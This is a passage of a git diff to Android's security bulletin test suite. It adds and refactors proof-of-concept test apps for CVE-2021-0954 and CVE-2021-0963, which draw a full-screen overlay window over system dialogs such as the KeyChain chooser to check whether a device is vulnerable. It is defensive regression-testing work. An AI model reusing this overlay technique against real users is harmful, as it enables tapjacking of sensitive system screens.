+ /* Start the overlay service */
+ assumeTrue(getStringRes(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(mContext));
+ Intent intent = new Intent(mContext, PocService.class);
+ mContext.startService(intent);
+
+ /* Wait for a result from overlay service */
+ SharedPreferences sharedPrefs = mContext.getSharedPreferences(
+ getStringRes(R.string.sharedPreferences), Context.MODE_PRIVATE);
+ final Semaphore preferenceChanged = new Semaphore(0);
+ OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
+ String key) {
+ if (key.equals(getStringRes(R.string.resultKey))) {
+ preferenceChanged.release();
+ }
+ }
+ };
+ sharedPrefs.registerOnSharedPreferenceChangeListener(listener);
+ assumeTrue(preferenceChanged.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ int result = sharedPrefs.getInt(getStringRes(R.string.resultKey),
+ getIntegerRes(R.integer.assumptionFailure));
+ String message = sharedPrefs.getString(getStringRes(R.string.messageKey),
+ getStringRes(R.string.defaultSemaphoreMsg));
+ assumeTrue(message, result != getIntegerRes(R.integer.assumptionFailure));
+
+ /* Wait for the UI of overlay window to appear */
+ Pattern overlayTextPattern = Pattern.compile(
+ mContext.getString(R.string.overlayButtonText), Pattern.CASE_INSENSITIVE);
+ assumeTrue(mContext.getString(R.string.overlayUiScreenError),
+ device.wait(Until.hasObject(By.text(overlayTextPattern)), TIMEOUT_MS));
+
+ /* Start the vulnerable activity */
+ intent = new Intent();
+ String vulActivity = getStringRes(R.string.vulClass);
+ String vulPkg = getStringRes(R.string.vulPkg);
+ if (isAuto()) {
+ vulActivity = getStringRes(R.string.vulClassAuto);
+ vulPkg = getStringRes(R.string.vulPkgAuto);
+ }
+ intent.setClassName(vulPkg, vulActivity);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(intent);
+
+ /* Wait until the object of overlay window is gone */
+ boolean overlayDisallowed =
+ device.wait(Until.gone(By.pkg(mContext.getPackageName())), TIMEOUT_MS);
+
+ /*
+ * Check if the currently running activity is the vulnerable activity, if not abort the
+ * test
+ */
+ String activityDump = device.executeShellCommand(
+ getStringResWithArg(R.string.cmdDumpsysActivity, vulActivity));
+ Pattern activityPattern = Pattern.compile(getStringRes(R.string.mResumedTrue));
+ assumeTrue(getStringRes(R.string.vulActivityNotRunningError),
+ activityPattern.matcher(activityDump).find());
+
+ /* Failing the test as fix is not present */
+ assertTrue(getStringResWithArg(R.string.overlayErrorMessage, vulActivity),
+ overlayDisallowed);
+ } catch (Exception e) {
+ assumeNoException(e);
}
- Pattern activityPattern =
- Pattern.compile("mResumedActivity.*" + vulnerableActivityName + ".*\n");
- if (!activityPattern.matcher(activityDump).find()) {
- return;
- }
- String message = "Device is vulnerable to b/143559931 hence any app with "
- + "SYSTEM_ALERT_WINDOW can overlay the ResolverActivity screen";
- assertNull(message, mDevice.findObject(By.text(overlayTextPattern)));
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/PocService.java
index 82b78a2..79270ba 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/PocService.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/PocService.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,47 +14,65 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0954;
+package android.security.cts.CVE_2021_0954;
import android.app.Service;
+import android.content.Context;
import android.content.Intent;
+import android.content.SharedPreferences;
import android.content.res.Resources;
import android.graphics.PixelFormat;
-import android.os.Handler;
import android.os.IBinder;
-import android.provider.Settings;
import android.view.Gravity;
import android.view.WindowManager;
import android.view.WindowManager.LayoutParams;
import android.widget.Button;
public class PocService extends Service {
- public static Button mButton;
- private WindowManager mWindowManager;
- private WindowManager.LayoutParams mLayoutParams;
+ Button mButton;
+ WindowManager mWindowManager;
- private static int getScreenWidth() {
+ private int getScreenWidth() {
return Resources.getSystem().getDisplayMetrics().widthPixels;
}
- private static int getScreenHeight() {
+ private int getScreenHeight() {
return Resources.getSystem().getDisplayMetrics().heightPixels;
}
+ String getStringRes(int key) {
+ return getResources().getString(key);
+ }
+
+ int getIntegerRes(int key) {
+ return getResources().getInteger(key);
+ }
+
@Override
public void onCreate() {
- super.onCreate();
- mWindowManager = getSystemService(WindowManager.class);
- mLayoutParams = new WindowManager.LayoutParams();
- mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
- mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
- | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
- mLayoutParams.format = PixelFormat.OPAQUE;
- mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
- mLayoutParams.width = getScreenWidth();
- mLayoutParams.height = getScreenHeight();
- mLayoutParams.x = getScreenWidth() / 2;
- mLayoutParams.y = getScreenHeight() / 2;
+ try {
+ super.onCreate();
+ mWindowManager = getSystemService(WindowManager.class);
+ LayoutParams layoutParams = new LayoutParams();
+ layoutParams.type = LayoutParams.TYPE_APPLICATION_OVERLAY;
+ layoutParams.flags =
+ LayoutParams.FLAG_NOT_TOUCH_MODAL | LayoutParams.FLAG_NOT_FOCUSABLE;
+ layoutParams.format = PixelFormat.OPAQUE;
+ layoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ layoutParams.width = getScreenWidth();
+ layoutParams.height = getScreenHeight();
+ layoutParams.x = getScreenWidth() / 2;
+ layoutParams.y = getScreenHeight() / 2;
+
+ /* Show the floating window */
+ mButton = new Button(this);
+ mButton.setText(getString(R.string.overlayButtonText));
+ mWindowManager.addView(mButton, layoutParams);
+ } catch (Exception e) {
+ sendTestResult(getIntegerRes(R.integer.assumptionFailure), e.getMessage());
+ return;
+ }
+ sendTestResult(getIntegerRes(R.integer.noAssumptionFailure), getStringRes(R.string.empty));
}
@Override
@@ -63,31 +81,27 @@
}
@Override
- public int onStartCommand(Intent intent, int flags, int startId) {
- showFloatingWindow();
- return super.onStartCommand(intent, flags, startId);
- }
-
- @Override
public void onDestroy() {
- if (mWindowManager != null && mButton != null) {
- mWindowManager.removeView(mButton);
+ try {
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ } catch (Exception e) {
+ sendTestResult(getIntegerRes(R.integer.assumptionFailure), e.getMessage());
}
- super.onDestroy();
}
- private void showFloatingWindow() {
- if (Settings.canDrawOverlays(this)) {
- mButton = new Button(getApplicationContext());
- mButton.setText("OverlayButton");
- mWindowManager.addView(mButton, mLayoutParams);
- new Handler().postDelayed(new Runnable() {
- @Override
- public void run() {
- onDestroy();
- }
- }, 60000); // one minute
- mButton.setTag(mButton.getVisibility());
+ private void sendTestResult(int result, String message) {
+ try {
+ SharedPreferences sh = getSharedPreferences(getStringRes(R.string.sharedPreferences),
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getStringRes(R.string.resultKey), result);
+ edit.putString(getStringRes(R.string.messageKey), message);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore the exception
}
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/Android.bp
similarity index 86%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0963/Android.bp
index 09297b2..2a30791 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright (C) 2023 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -20,7 +20,7 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
+ name: "CVE-2021-0963",
defaults: [
"cts_defaults",
],
@@ -35,5 +35,5 @@
"androidx.test.rules",
"androidx.test.uiautomator_uiautomator",
],
- platform_apis: true,
+ platform_apis: true, // required for using RemoteCallback
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/AndroidManifest.xml
new file mode 100644
index 0000000..dec0ae4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_0963">
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+ <application android:testOnly="true">
+ <activity android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ <receiver android:name=".PocDeviceAdminReceiver"
+ android:exported="true"
+ android:permission="android.permission.BIND_DEVICE_ADMIN">
+ <meta-data android:name="android.app.device_admin"
+ android:resource="@xml/device_policies" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ </intent-filter>
+ </receiver>
+ <service android:name=".PocService" />
+ </application>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0963" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/raw/cve_2021_0963_pkey b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/raw/cve_2021_0963_pkey
new file mode 100644
index 0000000..3a07113
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/raw/cve_2021_0963_pkey
Binary files differ
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/raw/cve_2021_0963_usercert b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/raw/cve_2021_0963_usercert
new file mode 100644
index 0000000..4665a94
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/raw/cve_2021_0963_usercert
Binary files differ
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/integers.xml
new file mode 100644
index 0000000..18ccaba
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/integers.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="assumptionFailure">-1</integer>
+ <integer name="noException">0</integer>
+ <integer name="timeoutMs">10000</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/strings.xml
new file mode 100644
index 0000000..e6915d6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/strings.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="action">com.android.keychain.CHOOSER</string>
+ <string name="alias">Client</string>
+ <string name="callback">callback</string>
+ <string name="cmdAdbHome">input keyevent KEYCODE_HOME</string>
+ <string name="cmdDumpsysActivityByActivity">dumpsys activity %1$s</string>
+ <string name="cmdDumpsysActivityByPkg">dumpsys activity -p %1$s activities</string>
+ <string name="exceptionActivityNotFound">The activity with intent was not found : </string>
+ <string name="exceptionActivityNotStart">Unable to start the activity with intent : </string>
+ <string name="exceptionCanNotDrawOverlays">The application cannot draw overlays</string>
+ <string name="exceptionOverlayUiNotVisible">Overlay UI did not appear on the screen</string>
+ <string name="exceptionServiceNotStart">Unable to start the overlay service</string>
+ <string name="exceptionVulActivityNotResume">The activity %1$s is not currently resumed on the
+ device</string>
+ <string name="exceptionVulUiNotVisible">UI of vulnerable activity %1$s is not visible</string>
+ <string name="failMsg">Device is vulnerable to b/199754277 !! Any app with SYSTEM_ALERT_WINDOW
+ can overlay the %1$s screen</string>
+ <string name="flagActivityResumed">mResumed=true</string>
+ <string name="flagActivityVisible">mVisible=true</string>
+ <string name="message">message</string>
+ <string name="pKey">cve_2021_0963_pkey</string>
+ <string name="rawResOpenError">Could not open the raw resource %1$s</string>
+ <string name="status">status</string>
+ <string name="strSplitRegex"><![CDATA[((?<=mVisible=(true|false)))]]></string>
+ <string name="streamReadError">Could not read from stream of the raw resource %1$s</string>
+ <string name="txtOverlayBtn">CVE_2021_0963_button</string>
+ <string name="typeCert">X.509</string>
+ <string name="typeKey">RSA</string>
+ <string name="userCert">cve_2021_0963_usercert</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/xml/device_policies.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/xml/device_policies.xml
new file mode 100644
index 0000000..ed5352d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/xml/device_policies.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<device-admin>
+ <uses-policies />
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/DeviceTest.java
new file mode 100644
index 0000000..209bdf0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/DeviceTest.java
@@ -0,0 +1,240 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0963;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.content.res.Resources;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.security.KeyFactory;
+import java.security.PrivateKey;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateFactory;
+import java.security.spec.PKCS8EncodedKeySpec;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private DevicePolicyManager mDevicePolicyManager;
+ private ComponentName mComponentName;
+ private Context mContext;
+ private UiDevice mDevice;
+ private Resources mResources;
+
+ private byte[] getByteArrayFromRawRes(int resId, String resName) throws IOException {
+ byte[] byteArray = null;
+ try (InputStream inStream = mResources.openRawResource(resId);
+ ByteArrayOutputStream outStream = new ByteArrayOutputStream(); ) {
+ assumeTrue(mContext.getString(R.string.rawResOpenError, resName), inStream != null);
+ byteArray = new byte[1024];
+ int nRead = inStream.read(byteArray, 0, byteArray.length);
+ assumeTrue(mContext.getString(R.string.streamReadError, resName), nRead > 0);
+ outStream.write(byteArray, 0, nRead);
+ }
+ return byteArray;
+ }
+
+ @After
+ public void tearDown() {
+ try {
+ // Go to home screen
+ mDevice.executeShellCommand(mContext.getString(R.string.cmdAdbHome));
+
+ // Remove key pair added by the test as part of cleanup
+ mDevicePolicyManager.removeKeyPair(mComponentName, mContext.getString(R.string.alias));
+ } catch (Exception e) {
+ // ignore all exceptions as the test is already complete
+ }
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ try {
+ // Create the byte arrays from raw resources of private key and user certificate
+ // respectively.
+ mContext = getInstrumentation().getContext();
+ mResources = mContext.getResources();
+ byte[] privateKeyByteArray =
+ getByteArrayFromRawRes(
+ R.raw.cve_2021_0963_pkey, mContext.getString(R.string.pKey));
+ byte[] userCertByteArray =
+ getByteArrayFromRawRes(
+ R.raw.cve_2021_0963_usercert, mContext.getString(R.string.userCert));
+
+ // Install key pair required to launch KeyChainActivity dialog
+ KeyFactory kf = KeyFactory.getInstance(mContext.getString(R.string.typeKey));
+ PrivateKey privKey = kf.generatePrivate(new PKCS8EncodedKeySpec(privateKeyByteArray));
+ CertificateFactory cf =
+ CertificateFactory.getInstance(mContext.getString(R.string.typeCert));
+ Certificate cert = cf.generateCertificate(new ByteArrayInputStream(userCertByteArray));
+ mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+ mComponentName =
+ new ComponentName(
+ PocDeviceAdminReceiver.class.getPackage().getName(),
+ PocDeviceAdminReceiver.class.getName());
+ assumeTrue(
+ mDevicePolicyManager.installKeyPair(
+ mComponentName, privKey, cert, mContext.getString(R.string.alias)));
+
+ // Start the overlay service
+ Intent intent = new Intent(mContext, PocService.class);
+ assumeTrue(
+ mContext.getString(R.string.exceptionCanNotDrawOverlays),
+ Settings.canDrawOverlays(mContext));
+ CompletableFuture<PocStatus> callbackReturn = new CompletableFuture<>();
+ RemoteCallback cb =
+ new RemoteCallback(
+ (Bundle result) -> {
+ PocStatus pocStatus =
+ new PocStatus(
+ result.getInt(mContext.getString(R.string.status)),
+ result.getString(
+ mContext.getString(R.string.message)));
+ callbackReturn.complete(pocStatus);
+ });
+ intent.putExtra(mContext.getString(R.string.callback), cb);
+ mContext.startService(intent);
+ PocStatus result =
+ callbackReturn.get(
+ mResources.getInteger(R.integer.timeoutMs), TimeUnit.MILLISECONDS);
+ assumeTrue(
+ result.getErrorMessage(),
+ result.getStatusCode() != mResources.getInteger(R.integer.assumptionFailure));
+
+ // Wait for the overlay window
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ Pattern overlayTextPattern =
+ Pattern.compile(
+ mContext.getString(R.string.txtOverlayBtn), Pattern.CASE_INSENSITIVE);
+ assumeTrue(
+ mContext.getString(R.string.exceptionOverlayUiNotVisible),
+ mDevice.wait(
+ Until.hasObject(By.text(overlayTextPattern)),
+ mResources.getInteger(R.integer.timeoutMs)));
+
+ // Start PocActivity which in turn starts the vulnerable activity
+ intent = new Intent(mContext, PocActivity.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ CompletableFuture<PocStatus> pocActivityReturn = new CompletableFuture<>();
+ RemoteCallback pocActivityCb =
+ new RemoteCallback(
+ (Bundle pocActivityResult) -> {
+ PocStatus pocStatus =
+ new PocStatus(
+ pocActivityResult.getInt(
+ mContext.getString(R.string.status)),
+ pocActivityResult.getString(
+ mContext.getString(R.string.message)));
+ pocActivityReturn.complete(pocStatus);
+ });
+ intent.putExtra(mContext.getString(R.string.callback), pocActivityCb);
+ mContext.startActivity(intent);
+ result =
+ pocActivityReturn.get(
+ mResources.getInteger(R.integer.timeoutMs), TimeUnit.MILLISECONDS);
+ assumeTrue(
+ result.getErrorMessage(),
+ result.getStatusCode() != mResources.getInteger(R.integer.assumptionFailure));
+
+ // Get the vulnerable activity name by using an alternative intent
+ Intent vulIntent = new Intent(mContext.getString(R.string.action));
+ ResolveInfo ri =
+ mContext.getPackageManager()
+ .resolveActivity(vulIntent, PackageManager.MATCH_DEFAULT_ONLY);
+ String vulnerableActivityName = ri.activityInfo.name;
+ String vulnerablePkgName = ri.activityInfo.packageName;
+
+ // Wait until the object of launcher activity is gone
+ boolean overlayDisallowed =
+ mDevice.wait(
+ Until.gone(By.pkg(mContext.getPackageName())),
+ mResources.getInteger(R.integer.timeoutMs));
+
+ // Check if the currently resumed activity is the vulnerable activity
+ String activityDump =
+ mDevice.executeShellCommand(
+ mContext.getString(
+ R.string.cmdDumpsysActivityByActivity, vulnerableActivityName));
+ Pattern activityPattern =
+ Pattern.compile(
+ mContext.getString(R.string.flagActivityResumed),
+ Pattern.CASE_INSENSITIVE);
+ assumeTrue(
+ mContext.getString(
+ R.string.exceptionVulActivityNotResume, vulnerableActivityName),
+ activityPattern.matcher(activityDump).find());
+
+ // Check if vulnerable activity's UI is visible
+ String vulPkgDump =
+ mDevice.executeShellCommand(
+ mContext.getString(
+ R.string.cmdDumpsysActivityByPkg, vulnerablePkgName));
+ boolean isVisible = false;
+ for (String vulPkgDumpElement :
+ vulPkgDump.split(mContext.getString(R.string.strSplitRegex))) {
+ if (vulPkgDumpElement
+ .toLowerCase()
+ .contains(vulnerableActivityName.toLowerCase())) {
+ if (vulPkgDumpElement.contains(
+ mContext.getString(R.string.flagActivityVisible))) {
+ isVisible = true;
+ break;
+ }
+ }
+ }
+ assumeTrue(
+ mContext.getString(R.string.exceptionVulUiNotVisible, vulnerableActivityName),
+ isVisible);
+
+ // On vulnerable device, vulnerable activity will be overlaid so 'overlayDisallowed'
+ // will be set to true so the test fails, else it passes.
+ assertTrue(
+ mContext.getString(R.string.failMsg, vulnerableActivityName),
+ overlayDisallowed);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocActivity.java
new file mode 100644
index 0000000..bcf98e1
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocActivity.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0963;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+import android.security.KeyChain;
+import android.security.KeyChainAliasCallback;
+
+import androidx.annotation.Nullable;
+
+public class PocActivity extends Activity {
+
+ @Override
+ public void onResume() {
+ try {
+ super.onResume();
+
+ // Waiting briefly for the PocActivity window transition animation to complete.
+ Thread.sleep(500);
+
+ // Launching the vulnerable activity KeyChainActivity
+ KeyChainAliasCallback callback =
+ new KeyChainAliasCallback() {
+ @Override
+ public void alias(@Nullable String alias) {}
+ };
+ KeyChain.choosePrivateKeyAlias(this, callback, null, null, null, -1, null);
+ sendTestResult(getResources().getInteger(R.integer.noException), "");
+ } catch (Exception e) {
+ sendTestResult(getResources().getInteger(R.integer.assumptionFailure), e.getMessage());
+ }
+ }
+
+ void sendTestResult(int status, String message) {
+ try {
+ RemoteCallback cb =
+ (RemoteCallback) getIntent().getExtras().get(getString(R.string.callback));
+ Bundle res = new Bundle();
+ res.putString(getString(R.string.message), message);
+ res.putInt(getString(R.string.status), status);
+ cb.sendResult(res);
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocDeviceAdminReceiver.java
similarity index 72%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocDeviceAdminReceiver.java
index 1a335c7..b8ef104 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocDeviceAdminReceiver.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright (C) 2023 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,9 +14,8 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2021_0963;
-import android.app.Activity;
+import android.app.admin.DeviceAdminReceiver;
-public class PocActivity extends Activity {
-}
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocService.java
new file mode 100644
index 0000000..c78d7d4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocService.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0963;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.RemoteCallback;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+ Button mButton;
+ WindowManager mWindowManager;
+ LayoutParams mLayoutParams;
+ Intent mIntent;
+
+ private static int getScreenWidth() {
+ return Resources.getSystem().getDisplayMetrics().widthPixels;
+ }
+
+ private static int getScreenHeight() {
+ return Resources.getSystem().getDisplayMetrics().heightPixels;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ try {
+ mIntent = intent;
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new LayoutParams();
+ mLayoutParams.type = LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags =
+ LayoutParams.FLAG_NOT_TOUCH_MODAL | LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
